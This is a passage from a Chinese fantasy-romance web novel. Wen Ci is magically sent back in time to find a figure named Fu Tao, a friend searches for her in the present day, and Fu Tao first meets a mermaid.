温辞更惊讶了,因为随着他的这个称呼,美人鲛的眼睛里又流了一颗血泪。
只是这一次,没人伸手去接。那抹殷红从她的脸上滑下,啪嗒一下,落到蚌壳上时,已然变成了固体。
司渊叹了口气,正准备弯腰,温辞先他一步,捡起那颗鲜艳无比的珠子,递到他面前。
溢彩还没有完全散去的宝珠,莫名让她觉得有几分刺眼。尤其是那抹殷红,总是让她想起美人鲛流血泪时无意间流露的哀伤神色。
九岭山到底是个什么地方啊?
在她的心里,九岭山真的这么重要吗?
明明刚才,司渊第一次问她要留影珠的时候,她还宝贝的不得了。可现在,不过是无意间从司渊口中听到‘九岭山’这三个字,她就自愿奉上了。
司渊没有再理会美人鲛,任她抓着他的衣角,也没有再避着她,用只有他和温辞两个人才能听到的声音讲话。他的声音恢复到正常音量。
美人鲛的视线也不再囿于那只死物,神情娴静淡雅,听得一脸专注。
还有向往。
如果单单是这样来看,半点看不出她已入魔。
温辞更是听得无比认真,因为司渊告诉她,这并不仅仅是关系到在场三人的生命安全,还有数以万计的别人。
尽管她听不太明白司渊的意思,却也莫名觉得肩负重任。
司渊看她一脸的凝重,终于反应过来,是刚才的那些话给了她压力。他扯出一抹浅笑,无比宠溺地勾了下她的鼻梁,说:“拿不到也没关系,不需要给自己那么大的压力。”
温辞应下,敛起神色,听得更专注了。
司渊:“刚才我给你的那颗留影珠上,我留下了信息。你到九岭山之后,把这颗珠子,交给一个叫伏弢(tao,音同‘涛’)的人手里。”
她一直在等他后面的话,可看司渊的样子,他好像已经交代完了。
温辞眨了下眼,问他:“没了?就这么简单?”
“就这么简单。”司渊点点头,又说:“他看了留影珠后,交给你什么,你就拿回来什么就好了。”
温辞:“好。”
话音未落,耳边传来美人鲛的低喃,司渊和温辞纷纷把视线投过去。
“伏弢...对,我要找伏弢。”
她已经松开了司渊的衣角,强行挤到两人中间,转而
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揪起他的衣领,蛮横又不讲理地说了句:“小七,快,送我去见伏弢。不然,我就揍你。”
司渊垂眸,看着美人鲛那张清丽的脸庞上浮现出久违的张扬神色,嗤笑一声。
他依旧没有理会她,更是没有理会她的要求,而是抬头看了一眼不由得退后几步的温辞,说了句:“我先把你送过去。”
连他自己都还在美人鲛的手里,脱不了身。他要怎么‘先’送她呀。
“怎么送?”她问。
司渊没应她这个问题,只是柔声叮嘱了声:“别害怕。”
“溯洄术啊。”和他这道声音一起响起来的,是美人鲛的一句话,“阿辞你忘了?当时你俩为了争抢这个谁学溯洄术的机会打了一架,你还把他踹水里去了。”
“啊?”温辞诧异,仰头看了一眼司渊。他神色有几分恍惚,像是在回忆,眼神无比温柔。
对上她的视线,恍惚的神色敛了几分。
“阿辞,站那儿。”
说完,他冲着旁边那处空地抬了抬下巴,温辞抬步走过去。
美人鲛见状,松开了他的衣领,跟在温辞身后。
“你去哪?回来,没你的事儿。”没两步,她就被司渊扯着后衣领给拽了回来。
美人鲛:“你放开我,我也要去找伏弢。”
“你不能去。”司渊一脸平静地拒绝,扯着她衣领的手也更紧了些,生怕她下一秒也冲进他为温辞设置的术法圈内。
“那阿辞都能去,我为什么不能?”美人鲛指着站在光圈内的温辞,忿忿道。
司渊看了一眼温辞,又在她向他的前一秒钟,收回视线,对着美人鲛说:“因为九岭山上还没有温辞,却已经有了一个伏烟。你去了,她怎么办?”
“我不管,我一定要去见伏弢。”美人鲛大喊着,逐渐丧失了理智,丝丝缕缕的魔气,从她的身上蔓延出来。
司渊没再和她啰嗦,呢喃着,念了一句温辞听不懂的咒语。
温辞只感觉自己的手腕传来一阵温热,她低头看了一眼,腕骨上缠了一圈氤氲的光圈。仔细看的话就能发现,那光圈散发着淡淡的紫气,像是有生命一样,始终绕着她的腕骨转圈。
温辞看着,心神有点恍惚。
她曾经在她家书房里无意间看到过类似的场景:丝丝缕缕的、像血一样的赤红色雾气从赤星刀里涌出来,环绕在父亲周身。
温辞敛起思绪,抬头看了一眼司渊。和她的腕骨上的一样,他的指尖同样环绕着淡紫色的光晕。
司渊望着她的眼睛,说:“阿辞,不要害怕,安心去感受这段未知的旅程。”
温辞冲他点点头,喊了句:“放心吧,我会尽快回来的。”
司渊笑道:“倒也不用那么急,好好感受。”
温辞本想还想再说些什么,可手腕光圈处忽然传来一阵烧灼感。倒是不疼,就是这感觉有点突然。
下意识低头,绕在手腕上的那道光圈忽然发出一道极为刺眼的光芒。
闭上眼睛的刹那,她恍惚看到司渊的手指朝着她站立这个方向虚点了一下,而站在他身边的美人鲛,趁着司渊不备,往她站的这个方向冲过来,却又及时被司渊拽了回去。
43. 感谢
-
另一边。
顾清河和章扬不顾顾冉的反对,虽然磕磕绊绊,却也真的把温辞的那艘游艇开到了码头。
什么人多力量大,什么上岸后再找人帮忙寻找温辞和司渊的下落,根本全是空话。
一上岸,他们直奔酒店,收拾好东西后,直接订了回家的机票。
无论顾冉如何劝说,他们都决定要走,甚至还劝她一起离开。
或许是因为司渊的缘故,又或许是亲眼目睹了那座无名荒岛沉寂入海——
总之,两个人对这片海域没有半点好感,包括脚下的这座庚辰岛。尽管刚来那天,他们把这座海岛的景色夸得天上有,地上无。
但顾冉总觉得,他们并非是厌恶这里,而是恐惧。
顾冉跟着他们一起收拾好了行李,却没有跟着他们一起离开。
她的家境没有章扬好,住不起这么好的酒店。退了房后,她找了一家相对来说便宜一点的、她能够负担的起的酒店,住了进去。
她一个人,去报了警。相关的工作人员,却始终没能发现温辞和司渊的下落。
白天,顾冉不是待在码头,就是沿着海岸线走。
傍晚,回酒店之前,她还会绕大半个岛,去派出所问到底有没有温辞和司渊的情况。
可每一次,都是失望而归。两个人就像是凭空消失了一样。第四天傍晚,顾冉神色恹恹从派出所出来。结果和前几天一样,始终没有什么线索。
顾冉并不知道,早在她报案的第二天,相关的工作人员就联系了温辞的父母,把司渊和温辞坠海的消息告诉了他们。
她攥着手机,漫无目的地走着。就在她犹豫要不要给温辞父母打个电话的时候,忽然有人拦住了她。
“等等。”
顾冉抬头,看着站在她面前的陌生女孩,一脸的疑惑和防备,“你有什么事吗?”
“我叫纪笙笙,是司渊的朋友。他有消息了吗?”
顾冉冲她摇摇头,纪笙笙哦了一声,失魂落魄离开了。
庚辰岛不算太大,司渊失踪的消息早在第二天傍晚,就在庚辰岛上传得尽人皆知了。
当然,是在原住民的范围内。
庚辰岛的游客如织,司渊的名字对他们来说,实在是太过陌生。
第六天傍晚,顾冉和纪笙笙结伴从派出所出来。从那天,她在半路拦下顾冉之后,就一直不放心,后来干脆和顾冉一起等,一起找。
顾冉的性子有点沉闷,但纪笙笙是个活络的。再加上这几天搜救队一直没有传来温辞和司渊的消息,心情低落不说,压力也很大,临近崩溃。
所以,对于顾冉来说,纪笙笙的到来,刚刚好。是一个可以倾诉的对象。
纪笙笙隐晦的和顾冉说出了司渊的身世,同时也向顾冉打听了温辞到底是个什么样的人。
这两天,她们一直在一起,莫名产生了一种惺惺相惜的情意。
“笙笙。”
纪笙笙正准备离开,顾冉叫住她,欲言又止。
“怎么了?”纪笙笙问。
顾冉垂着脑袋,不敢去看纪笙笙的眼睛。好半晌,才嗫喏开口,说:“明天,我不能去码头等你了。我妈妈打电话催我回去。”
最重要的一点,她羞于说出口。
庚辰岛的消费太高,这一个星期,她身上的钱,已经花得差不多了。再继续待下去的话,机票都要买不起了。
纪笙笙安静了一会儿,说:“好,他们有消息了,我会告诉你。”
顾冉把脑袋埋得更低了。
“机票买好了吗?”
“嗯,明天下午一点。”
“没事儿,你放心走吧,有消息了我一定告诉你。而且你不是说了吗,温辞是个好人,她一定会没事的。”
...
两人说话有点专注,谁也没有注意到身后不远处的派出所的门被打开,一个穿着夹克衬衫的男人从里面出来。听到他们的对话,不由得顿足听了一耳朵。
男人叫李松,是霍未的助手。
温辞和司渊坠海失踪的消息,不止通知了霍懈北,还有身在政府部门工作的霍未。甚至,霍未比霍懈北要更早知道这个消息。
当即,他给霍懈北打了电话。
不等霍懈北开口,劈头盖脸先挨了一顿臭骂。言语间,满是霍未对温辞的担忧。同时,他嘱咐霍懈北:这个消息不要传到老爷子耳中。
霍懈北好说歹说,才让霍未相信温辞没有出事。
可温辞一直没有消息,霍未始终有点不放心。刚好这两日,他在临市有工作。自己脱不开身,便提前让助理过来了解一下情况。
顾冉和纪笙笙到了派出所之前,李松就已经从工作人员的口中了解到她。
李松不着痕迹地听完了两人的对话,看着她们相互道别后逐渐走远的背影,他拨通了霍未的电话。
...
翌日,上午十点半,顾冉推着行李箱从酒店出来。
走了没两步,一辆黑色的商务车停在她身边。窗户缓缓落下,是一张成熟男人的脸——神色从容,却不减威严。
顾冉看了一眼,心里咯噔一下。
她正准备离开,车里的男人忽然开口:“你好,我是温辞的家里人。”
“你好,我是顾冉,温辞的同学。她到现在还没有消息——”
霍未点点头,说:“我知道,我过来就是处理这件事情的。”
顾冉局促抿唇,一时间不知道该说什么。她口才不好,担心说出口的安慰会变成一把刺人的利刃。
“顾同学要去哪里?我送你一程。刚好,我有些事情想问你。”
不等她回应,霍未已经从车上下来,从她手上接过行李箱,绕到后备箱,放进去后,又亲自帮她拉开了另一侧的车门。
等顾冉反应过来的时候,她人已经坐进了后排。尽管两人之间还隔着一个空位,空位上还放着笔记本电脑和一个纯白色的礼品袋,但男人的气势实在是容不得她忽略,她连呼吸都放得很欢。
“顾同学要去哪里?”霍未又问了一遍。
顾冉:“机...机场,谢谢。”
“不客气。”霍未看她实在紧张,拿出一瓶水,瓶盖被拧到半松,递到顾冉面前,又拍了拍驾驶座的靠背,说:“小李,去机场。”
随即,他又看向顾冉,说:“方便的话,可以和我说一下事发的经过吗?”
顾冉接过水的同时,车子缓缓启动,往机场开去。
她轻抿了
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一小口,润了润有点干涩嘴巴,将那日发生的事情说了出来,包括顾清河和章扬的提前离开。
霍未全程都安静听着,脸上始终挂着那抹平和的表情,情绪不曾外露半点。
庚辰岛不大,她说完这些,车子也已经驶到了机场。
下车后,李松帮着她从后备箱里把行李箱提了出来,霍未也从车里下来,手里提着一个礼品袋。
他款款走来,把礼品袋递到顾冉面前,说:“顾同学,感谢你这段时日为温辞挂心。她有消息后,我会让她第一时间给你报平安。这个,还请你一定收下。”
“不不不,这个我不能要。”顾冉连忙摆手,霍未却像是没有看见一样,上前一步,把袋子放在了她的行李箱上面。
“一路顺风。”
说完这话,霍未重新回到了车子里。很快,车子启动,驶出了顾冉的视线。
顾冉好奇袋子里的东西,打开看了一眼。看清里面装的是什么东西后,她忍不住倒吸了一口凉气。
一沓现金和一封感谢信。
信的内容和那个男人跟她说的话差不多,无外乎是感谢她为温辞的事情费心。除此之外,还写道:希望她不要多想,这些钱就当做她这一个星期的食宿费。
托运完行李后,顾冉实在是好奇具体的金额,便跑去卫生间,数了数,足足一百张。这趟旅程,她出来的时候,一共才拿了五千。
不知道为什么,顾冉忽然觉得这钱有点烫手。
回到青城后,一反常态的,她没有再去联系章扬和顾清河。
可两人的消息还是第一时间传入了她的耳中,因为她家和顾清河家里那点浅薄的血缘关系。
他们出了车祸,已经在医院里躺了快一周了。
从庚辰岛回来的第二天,两人相约去唱K,顺便喝酒。
可常去的那一家KTV被永久查封了,连老板都被抓起来了。流传的原因有很多种。其中,最广为流传的,是因为私下售卖违禁药品。
两人白来一趟,过马路的时候,被一辆闯红灯的摩托骑手给撞了,到现在都还在医院。
至于伤到了哪儿,顾冉没去看望,她也不知道。只是隔三差五,她就会给纪笙笙发条信息,问一下搜救队的情况。
纪笙笙告诉她,搜救队已经停止搜救了,而且是经过温辞家里人同意的。而温辞,却始终没有消息。
后来的某一天,顾冉无意间在新闻联播上看到一张熟悉的面孔。男人神色平和,语气铿锵,周身的气势比她记忆里的还要强烈。
电视上标着他的名字,顾冉下意识搜索了一下,霍未以及霍氏集团的链接,一条接一条的涌入她的视线。
也是那时,她好像忽然之间明白了温辞这几年为什么行事那么低调。
同时,她脑海里闪过章扬在那家KTV里买药的事情。
难怪那家店会被封禁!
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海底。
光圈刺眼,温辞闭着眼睛,攥着留影珠的掌心,忽然传来一阵比腕骨更为灼热的滚烫感。
那感觉,就像是小时候贪玩,趁四下无人,爬上老宅的八仙桌,却不小心打翻烛台,滚烫的烛火和蜡油一起砸到手上。
有点疼,但更多的,是感觉到烫。
44. 伏烟
-
没一会儿,腕骨处的灼热以及那道异常刺眼的光芒也逐渐消散。
好像一切都恢复了正常,但只有温辞知道,她掌心里还依然灼热,带着几分隐痛。而且,她清晰感觉到,两颗留影珠的温度,完全不一样。
一颗相对滚烫,就像是攥了一颗小火球。而另一颗,则始终温润,就像她刚拿到手时那样。
光芒完全散去,手腕上却隐隐轻微的痒意。就像是微风拂过,一缕发丝从手腕划过。
温辞缓缓睁开眼睛,环视四周。她已经不再海底的蚌壳里了,身边也没了司渊和美人鲛的身影。
她现在好像是在一个小渔村。脚下是大片的细腻白沙,耳边是海浪拍打礁石的声响,远眺甚至还能看到错落有致的矮房,缕缕炊烟飘在村落上空。
手臂和掌心的异样触感还在,温辞没想那么多,颔首,抬臂。
手腕上的光芒的确已经完全消散,却多了一圈类似于纹身的痕迹。最开始,还看不清具体的形状,只能看出一圈圈的淡青色纹路。
仔细看的话,不难发现,那一圈圈的淡青色纹路就像活了一样,绕着她的手腕一圈圈的转着,像是在钩织着什么具体的图案。
不疼,只是痒。
温辞猜测,这或许就是司渊下在她身上的溯洄术。
她一直看着,手腕上的纹路越来越清晰,颜色也越来越重,从一开始的淡青色到完全的黑色。
眨眼之间,一只黑色的应龙纹身完整呈现在她的胳膊上。
昂扬的龙首、完全舒展开来的翅羽、以及龙身上的鳞片,和她在荒岛上的庙宇里见到的那座应龙塑像一模一样。
只是现在,以刺青的形式出现在她的手腕上。
黑色刺青和瓷白肌肤,形成了鲜明的视觉冲击,让温辞觉得很酷。
可是,为什么不是别的图案,偏偏是应龙呢?
温辞的脑海里忽然闪过一行字——司渊神君玄境,心里也有了一个大胆的猜测。
掌心里异样却越来越明显,温辞不得不收回凌乱的思绪。她摊开手掌,两颗留影珠映入眼帘。
一颗鲜红依旧,温润如初。
另一颗则滚烫无比,珠子外层被丝丝缕缕的黑色雾气包裹。
最重要的是,她好像把这两颗珠子给混淆了。她有点分不清哪一颗是司渊给的,哪一颗是她自己捡起来的。
但她猜测,没变色的那颗是司渊给她的那颗。因为她曾在美人鲛的身上,见过同样的黑色雾气。
温辞记得很清楚,她闭上眼睛的瞬间,美人鲛是想朝她扑过来的,只是被司渊及时制止了。也是从那个时候开始,她的掌心开始被灼烧。
留影珠本来就是她的东西,或许就是在那个时候,美人鲛在珠子上动了手脚。
可这一切都是她的猜测,为了确保万无一失,温辞还是决定,等见到了伏弢,把这两颗珠子一起交给他。
正想着,眼前忽然略过一缕黑色的烟雾。
再看那颗珠子,笼在上面的雾气已经消弭,珠子上的温度也降下去不少。至少,不再是烫人的烧灼感。
那团雾气,很快凝成了一个巴掌大的小人形状。尽管只是一团雾气,但温辞还是一眼就认出那是美人鲛的缩影。
她还是跟过来了,以这种方式。
那团雾气好像是有意识一样,见她看过来,和她对视良久。
半晌,温辞反应过来,眼前这团活灵活现的雾气小人,好像不能开口说话。不然,依着美人鲛的性子,怎么会允许有人打量她这么长时间还不反击。
或许是因为司渊阻拦的及时,又或许是因为存储在留影珠上的能量有限,不足以支撑她开口说话。
总之,她虽然有意识,偶尔也冲着温辞龇牙,但其余的事情是做不了的。大多时候,她都是气鼓鼓瞪着温辞。
而且,温辞还发现,这团小人,除了她自己,谁也看不见。
当然,这是后话。
-
温辞妥善把两颗珠子安置好,重新审视了一圈周围,慢慢蹙起了眉。
她看向那一团,问:“司渊不是说要送我到九岭山吗,可这周围不是海,就是渔村,哪里有山啊?”
小人歪着脑袋睨她一眼,又很快收回视线,假装没有听到。
偏偏,温辞像是和她有了心灵感应一样,能够猜透她每一个动作背后的深意。
“那个——姐姐,你知不知道到哪里才能找到伏弢啊?九岭山到底在哪个方向啊?”温辞在脑海中快速过了一遍美人鲛和司渊的所有举动,试探性开口。
听到伏弢的名字,小人果然有了新的反应。
张牙舞爪的,很是生动。
她扬起胳膊,指了指海面。
温辞望过去,问:“你想让我带你去海里?你是想让我陪你一起玩水吗?”
小人疯狂点头。
温辞只能浅显的读懂小人其中的一些举动——譬如她现在对于海水的渴望,譬如她如今只能依托着那颗留影珠,不能和珠子分离太远。
对于如今的用雾气幻化而成的美人鲛而言,那颗留影珠,就相当于她的原身,她如果不想待在外面,就只能栖在珠子上。
这些信息,是目前温辞能了解到的所有。至于藏在美人鲛内心深处的念头,温辞读不出来。
噢,对,她还知道了美人鲛的名字——伏烟。
也就是司渊曾无意间脱口而出的那个名字。
是以,温辞不知道伏烟的真实意图,并非是玩水。
她是深海里的生物,只要让她接触到海水,她就能慢慢恢复一些能量。
温辞思索了一会儿,说:“我可以带你去玩水,但你得带我去九岭山。”
伏烟继续点头,近乎狂热。
温辞迈着步子,向海而去。
伏烟似是受不了她慢吞吞的踱步,白了她一眼后,以迅雷不及掩耳之势越过温辞,冲着海水就飞了过去。
温辞只觉得眼前闪过一片阴影,紧接着,耳边传来一阵闷响——Duang一声。
下一秒,一道淡紫色的光芒从温辞的手腕涌出,很快凝结成一道半透明的结界,将温辞和那团雾气禁在其中。
雾气幻化成的伏烟被撞得稀碎,薄雾弥漫开来,好半晌才又重新凝结成人形。
她绕着温辞的手腕飞了两圈,叉腰表达自己的不满。
也是这时,温辞才发现,印刻在手腕上的那条应龙正散发着淡淡的光茫。
温辞往前走了两步,来到结界面前,用指尖点来点,手感和海底蚌壳外的那层一样。
这面结界,把她和周围的所有都隔绝开来
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,连同伏烟一块。
就连温辞自己,也被这结界阻拦,只能在结界内活动。
此刻的她们,距离海水也就两步路。
也难怪伏烟会生气。
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这个时候,温辞还不知道,她之所以能够和雾气版的伏烟心意相通,是因为留影珠烫在她掌心的印记。
伏烟截胡了司渊给她下的同心咒。
原本,那阵滚烫的烧灼感,是该伴着她手腕上的应龙出现的。
同心咒本是伏弢自创的咒术。他没有藏着掖着,每个徒弟都教授了一遍。
可练得最为精湛的,当属大师姐伏烟。因为这是唯一一个能够与伏弢心意相通的术法。
尽管伏烟的心智已经完全被魔气浸染,可当她看到司渊施展这个术法的时候,仍然会下意识和他比试。
也正是因为如此,为了确保温辞安全,司渊不得不舍了同心咒,转而往温辞身上多加了一道结界。
也就是温辞刚才触碰到的、禁止她行动的那道结界。
在温辞到达九岭山之前,这道结界会一直存在。
当然,这也是后话。
-
被困在结界内的温辞也一筹莫展,满脸愁容的同时,还要负责安慰炸毛的伏烟。
可眼前的伏烟本就是她身上的一缕魔气所化,心智本就不是很清明。刚才被结界撞散,怒气充斥在脑海,根本听不进去温辞的话。
好在,伏烟除了冲她龇牙和围着她乱飞之外,根本毫无杀伤力。
温辞坐在结界内,仔细打量着手腕上的那条应龙,试图找到可以收起这个结界的办法。
躁动不安的伏烟忽然安静下来,直勾勾盯着渔村方向。温辞顺着她的视线望过去,一个男人正款步走来。
“总算是来人了。”
温辞麻利站起身,朝他挥手,嘴里还喊着:“这里,这里。”
可男人仿佛看不见温辞,也听不到她的呼喊一样。他背着鱼篓,穿着打满了补丁的浅灰粗布麻衣,目不斜视地从结界中穿行而过。
温辞想要抓他的胳膊,却扑了个空,只抓到一把空气。
温辞泄了气,放弃了场外援助,重新坐下来。
她一边研究起手腕上的应龙图案,一边观察伏烟和那个突如其来的渔民的一举一动。
男人在结界不远处停下来,放下背篓,只身往海里走去。而伏烟的视线,始终没有从他身上挪开。
没一会儿,男人的身影消失在海里。
伏烟却变得焦躁不安,不停用脑袋撞向结界。
每一次,她都被撞的七零八碎。可她又会以最快的速度聚成人形,重新撞过去。
周而复始,不遗余力。
看着伏烟疯魔的样子,温辞甚至产生了一种‘刚才那个消失在海里的男人就是伏弢’的错觉。
想到这里,温辞愣了一瞬。
她看了一眼伏烟,又看了一眼已经趋于平静的海面,心里隐隐生出一个念头:
或许,不是错觉。
或许,刚才那个渔夫扮相的男人,就是司渊要她寻找的伏弢。
不然,伏烟也不会有这么大反应。
“哎,姐姐。”温辞来到伏烟身边,小心翼翼开口询问:“刚刚那个下海的渔夫,是不是伏弢啊?”
45. 入海
-
伏弢,上古神族青丘九尾狐王的后裔。
早些年的王座之争,九尾狐一族因为内斗,伤了根基。
身为下一任王座继承人之一的伏弢,不忍再看到族人失和,主动退出了竞争。为了让新任狐王安心,他自请离开了青丘,并且承诺有生之年不再踏入青丘半步。
在此之前,他从来没有出过青丘。
离了青丘以后,他游历四方,最后在海边的一处荒山上安顿下来。又因为山中有九座嶙峋怪异的山岭,他把这座山命名为——九岭山。
那时的伏弢,年少轻狂,又心怀天下,总以为凭着自己的神通,能够荡平这世间所有的邪魔外道。
虽然大多时候他都在闭关,但偶尔闲暇无聊时,他也会去人间四处游历。他最喜欢去人妖魔三界交汇的村寨晃荡,遇到不平事,也会仗义出手。
久而久之,伏弢的名号就这么打了出来。更有甚者,人间许多百姓的家里,会张贴他的画像,以求平安辟邪。
后来,九岭山响彻九州。
再后来,九州之中的仙门不知道怎么把伏弢的身世给挖了出来。得知他是上古神族的后裔后,那些信徒对他的尊崇更上一层楼。
九岭山闻名九州,奔赴而来的客人也慢慢多起来。一半是来感谢伏弢神君救命之恩,另一半则是想拜入伏弢门下的修仙者。
可每一次,都被伏弢婉拒。
他很满意如今的生活,不想理人的时候,他就回到九岭山闭关。想要刺激,就下山去到人间。
一旦收了徒,势必会产生诸多牵绊。
牵绊于他而言,不自由,堪比牢笼。
好多好多年,伏弢一直秉承着这个态度。
直到一次闭关,他偶然悟得天机。在一次睡梦中,无意间看见了未来的某个时刻——九岭山上,他与他的一众弟子在逗趣玩闹,好不自在。
睡醒后,九岭山中除了一些小兽,就只有他自己。
忽然之间,他觉得很清冷,甚至好几次他都开始怀念起梦境中的日子。他开始痴迷于睡眠,却再也没有梦到过那样的场面。
那段时间,他一直郁郁寡欢,连下山除妖也觉得乏味。后来,他干脆顺从自己的心意,决定收徒。
为了庆祝这个决定,也为了告别自己的独身生涯,他决定重新游历九州,顺便把自己要收徒的这个消息宣扬出去。
游历返程的途中,他途径一处乡镇。偶然间,他听到镇子上的渔民说,最近一段时间,这一片海域忽然打不到鱼了。
无论天晴还是下雨,每次出海,海面上都会涌起浓雾,让人分辨不清方向。浓雾涌起的同时,耳边会环绕着悦耳的歌声。
有人说,是海妖在作乱。
又有人说,海妖是一只巨大的海蛇精。
之所以打不到鱼,是因为海蛇把这片海里的鱼都吃光了。吃光了鱼,她就又把主意打到了附近的渔民身上。
还有人说,他曾无意间透过薄雾看见过海妖的真身。她长了一张极其美丽的脸,却是人手鱼身。尤其是她那条尾巴,阳光打下来,还会闪耀着五彩斑斓的光。
...
众说纷纭,终无定论。
伏弢安静听着,越来越觉得渔民口中的这个海妖,是早已绝迹的美人鲛。
他向来对这些奇闻轶事感兴趣,再加上渔村的人迫切需要解决这个问题,伏弢便跟着他们来到了渔村。
他大手一挥,肤色变成了风吹日晒的古铜色,头发用一根木簪草草挽起,锦衣华袍变成了打满了补丁的粗布麻衣,脚上踩的是渔民们常穿的草编鞋。
他低头打量自己一会儿,总觉得缺点什么。
恰时,一个背着鱼篓的村民从他身边身边走过。
伏弢了然点点头,手指一弯,肩上多了一个破烂背篓。
就这样,他逆着人潮,在一众村民的注视下,孤身一人走向海岸。
海面宽阔又平静,伏弢看着,脑海中忽然闪过一道曾在他梦境里出现的画面。
那好像是一个风和日丽的日子,同样是在水边。
他在岸边的亭子里抚琴,水里有人在唱歌,声音很抓耳。
他抬眸望过去的时候,那张秾艳的脸一闪而过,灵活跃入水中,一条闪耀着绚丽光芒的硕大鱼尾拍打着水面,激起一片涟漪。
伏弢看着海面,有一瞬的失神。
他有一种直觉,渔民口中的这个海妖,会和他产生牵绊。
而且是——无穷无尽的牵绊。
因为到现在,他看着这片海,心情竟然有点雀跃,甚至是迫不及待。所以,他放弃了原本的计划,没有乘船出海,而是把背篓放在沙滩上,只身下入海中。
不知道是出于什么心理,入海之后,伏弢就舍弃了这身渔夫扮相。
他想让她第一眼看到的,是他原本的面目,而不是伪装后的模样。
-
伏弢是狐狸,不太习惯深海的环境——潮湿,黏腻,时间长了甚至会产生窒息的错觉。
其实,青丘附近是有河流的。
平素里,他的很多族人也都会下河去游泳,可河里有一种人面鱼,总是把他的狐狸毛撕咬的乱七八糟。
他不太喜欢,便很少下水。
也正是因为如此,相较而言,他的水性不是太好,只勉强够用。
他在海里游了一会儿,始终没有寻到渔民口中‘海妖’的踪迹,海水带来的不适感却逐渐蔓延周身。
他拧着眉,抬手化了一道结界,将冰凉的海水隔绝开来。紧接着,他从百宝囊中取出一颗比拳头还要大的夜明珠,将周围照得一片亮堂。
伏弢自出生便是上神之躯,黑暗还是光明,于他那双眼睛而言,没有任何差别。
他拿出夜明珠,并非是为了照亮,而是为了吸引美人鲛的注意。
早些年,他还在青丘的时候,曾在一本古书上看见过美人鲛的介绍。
过了太久,他已经不能完整回忆起具体的内容了,但隐约记得美人鲛喜欢珠子,尤其是成色好、会发光的夜明珠。
海洋广袤,仿佛无边无际。
伏弢也只是抱着试试看的心态,不确定此举是否真的能够吸引来美人鲛。他一边搜寻着美人鲛的身影,一边欣赏着海底的珊瑚群。
没一会儿,耳边传来一阵悦耳的歌声。正如村民们所说,歌声悠扬,且不失婉转。
伏弢站定,扭头寻视了一圈。
原本清澈无比的海水忽然变得浑浊起来,歌声好像也越来越近。同时,伏弢还隐隐听到了一阵咕嘟咕嘟的冒泡声。他仔细确认了一下,好像有一条巨大无比的
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东西,以极快的速度朝着他的方向游来。
会是她吗?
伏弢看着结界外面不断扩散开来的一圈圈涟漪,暗暗期待着。
簌簌的水波声越来越大,海水也变得越来越浑浊。水波纹也越来越大,结界像是一只漂浮在水里的气球,随着涟漪的涌动而来回滚动。
他的身形却始终稳稳地站在结界中央。
伏弢其实有能力让结界不动如山,但他并没有这么做。
一个优秀的猎人,往往都是以猎物的身份出场的。
他喜欢让猎物自己追上门来,而不是守株待兔。
最重要的一点,相比于被动,他更喜欢把主动权握在自己手上。
于是,伏弢把一缕神识放出结界。
也是这个时候,他忽然发现,并非是海水忽然变得浑浊,而是海里起了雾。
浓雾在冰凉的深海弥漫,营造出了海水被搅浑的假象。
而且,海里的浓雾和寻常的雾气不一样。被他流放到结界之外的那一抹神识逐渐变得恍惚。
很快,伏弢意识到,海底的这团浓雾,搭配上时近时远的歌声,
能够让人意识模糊,进而产生幻觉。
他是神,尚且不能在这团雾气中完全保持清醒,更别提岸上那些肉体凡胎的寻常百姓了。
恍惚也只是一瞬,伏弢的头脑很快清醒过来。
但他的神情却和平时不太一样,双眸懒散无神,看起来像是被浓雾熏得没了自主意识一样。
歌声越来越近,浓雾里隐约浮现出一道鱼尾人身的影子。
看着那道和他梦境里看到的差别无二的模糊身影,伏弢不可抑制地眨了下眼睛,唇角勾起一抹浅淡的笑意。
心说:真的是她。
转瞬,那么喜色被掩去,神情变得呆滞,视线却不由自主地盯着那道冲他游过来的身影。
她的手臂纤细莹白,灵活地拨开面前的海水和浓雾,不费吹灰地游到了伏弢面前。
她在他面前站定,一边好奇地打量他,一边唱着更加婉转悦耳的歌谣。
四目相对不过片刻,美人鲛的视线便从他身上挪开,转而研究起包裹着他的那道透明结界以及漂浮在结界里的夜明珠。
伏弢却一直用余光关注着她。
她先是用手指戳了戳,软弹的触感让她的脸上闪过一抹惊奇。
她很谨慎,也很天真,防备心更是稍纵即逝。
把玩了半晌,确定这个奇怪的东西暂时不会对她造成威胁后,她绕着结界游了两圈,最后干脆整个身躯都贴合在结界上,将它环绕着半包裹起来。
伏弢只能看见她的尾巴,紧密无间的贴合在结界上,因为心情愉悦,像被风吹动的枝桠,下意识左右摇晃。
就像是得到了什么了不得的宝贝一样。
她好像对这种球类物体格外感兴趣。
忽然之间,她换了一种更加婉转的歌声。没一会儿,一群小鱼冲她游过来。
五彩斑斓的小鱼围着她和结界游来游去。
颇有些呼朋唤友的意味。
伏弢失笑。
眼前的美人鲛,天真烂漫,心思单纯,丝毫不知道如何掩饰自己的情绪,他一眼望过去,就能看到她心里,和渔民口中十恶不赦的食人海妖简直天差地别。
46. 夫君
-
后知后觉的,伏弢也终于意识到,对于眼前的美人鲛而言,结界和夜明珠的吸引力,远远大于他。
挫败感油然而生。
尤其是当他想到自己入海之后,刻意舍弃了伪装,用回自己原本面目的时候。
伏弢瞥了一眼只顾着和那群小鱼盘玩他这道结界、却把他视若无物的美人鲛,轻不可察地叹了口气。
罢了,眼拙并非是她的错。
谁让她只是一个贪玩又没见过世面的小鲛人呢。
伏弢只能用这样的语言来安慰自己,却并不怎么管用。
他心里的那道郁气还在。
尤其是当她的歌声一字不落地传入他耳中的时候,胸腔里像是不小心吸进了一根羽毛,就算是站着不动,一呼一吸都痒得人四肢无力,浑身的骨头都在发痒。
这还是他第一次产生这种陌生、又奇怪的感觉。但伏弢也没有多想,把所有的异样都归结为挫败感。
神又如何,说到底,他也不过是一个少年心性未泯的小狐狸而已。
见惯了尔虞我诈的争斗,他对心思纯良的人和物,有一种天然的好感。
伏弢自己都没有意识到,他看着眼前不停晃动的漂亮鱼尾,脸上的笑意越来越深。流放在结界外面的那一抹神识,仗着美人鲛发现不了,更是没有半点顾忌地围着她打转,和那群小鱼一样。
如果不是伏弢拦着,那抹神识怕是会缠上她每一根发丝。
那抹神识在面对美人鲛时餍足却又不满足的浪荡模样,他一直不愿去细想。更确切来说,说赧于承认。
直到很久以后,他恍然明白过来,这些异样的情绪和感觉可以统称为心动。在他看到她的第一眼,就对她产生了不同于寻常情感的男女之情。只是那时候,他是一个愣头青,什么都不懂。
-
趁美人鲛不备,伏弢掩于宽袖之下的手指勾了勾,将那抹神识召唤回来。
不知道是不是错觉,伏弢只觉得,自他把那抹神识召回后,他身上也沾染了美人鲛身上的异香。
拂之不去。
